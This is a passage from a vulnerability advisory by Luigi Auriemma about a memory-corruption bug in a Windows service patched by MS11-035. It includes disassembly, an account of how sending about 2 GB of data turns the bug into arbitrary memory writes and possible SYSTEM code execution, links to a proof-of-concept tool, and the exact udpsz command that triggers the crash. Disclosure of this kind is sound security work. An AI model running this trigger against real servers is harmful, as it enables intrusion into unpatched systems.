The problem is located in the function at address 0101488A used to perform the sending of a reply packet back to the client where it's raised an exception if send() fails, for example because the client interrupted the connection before the receiving of the data. In this function the size of the data to send (0x2c) is passed to ntohl() and stored on the stack buffer where is located the beginning of the packet to send, but when the exception is raised then the code flow continues from 01013e86 and after a CALL EAX in msvcrt.dll arrives on 01013e8a where EDI takes the value at [EBP-4C] which is just 0x2c000000 (yes, it's 0x2c in network endian). I have "tried" to resume the code flow here: 01013E72 . 6A 2C PUSH 2C ; /Arg3 = 0000002C 01013E74 . 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; | 01013E77 . 50 PUSH EAX ; |Arg2 01013E78 .

So EDI (the one of 01013E94) has ever the value 0x2c000000 because it's ntohl(0x2c) and normally there would be an exception at address 01014BC6 because that zone of the memory is not allocated. Instead it's possible to force the allocation of that zone of memory and filling it with the own stuff simply by sending a big amount of data in the same connection (or maybe also in time separated connections but I have not tested). Absolutely not a problem considering the intranet nature of the service. To be exact I have noticed that the starting of allocation of memory happens after the sending of 2 gigabytes of data, when the situation that was stable till that moment changes suddenly and the service starts to allocate memory till occupying the about 700 megabytes needed to reach 0x2c000000. As already said it can be used just from the same connection, indeed the service accepts multiple requests since it simply cares that the max size of the data block specified in the first 32bit field is minor or equal than 3115000 so if the content is invalid the connection remains open and will be never closed or interrupted. When the zone of the memory that includes 0x2c000000 is allocated LeaveCriticalSection can be used to decrease a 32bit arbitray zone of the memory (or in some conditions increasing it and placing 0x00000000) giving to an attacker the opportunity of modifying the subsequent code flow and executing code under SYSTEM privileges. ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip (udpsz.zip) udpsz -C 00140004 -b a -l 0 -T 0xffffffff SERVER 42 0x140008 when the dots displayed by the tool no longer advance press CTRL-C and the "DEC DWORD PTR DS:[EDI+8]" exception will be triggered immediately with EDI equal to 0x61616161. Note that the time needed to exploit the vulnerability depends mainly by the memory on the machine, it can be one minute if there is one gigabyte of RAM but can take also 10 minutes in case of 2 gigabytes so take it in mind during your tests: launch the command and wait (patiently) the stopping of the dots in udpsz. ####################################################################### ====== 4) Fix ====== http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx ####################################################################### --- Luigi Auriemma http://aluigi.org |
